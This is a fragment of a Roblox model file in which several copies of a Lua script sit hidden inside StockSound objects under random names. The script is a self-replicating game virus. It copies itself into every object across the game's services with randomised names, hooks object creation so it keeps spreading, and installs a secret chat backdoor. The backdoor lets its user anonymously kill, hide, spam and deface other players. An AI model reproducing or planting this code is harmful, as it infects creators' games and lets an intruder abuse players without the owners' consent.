if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX655">
						<Properties>
							<float name="Health">0</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX656">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">4szj7rd3c</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX657">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">nxspf</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX658">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">oayj</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX659">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ig51b</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
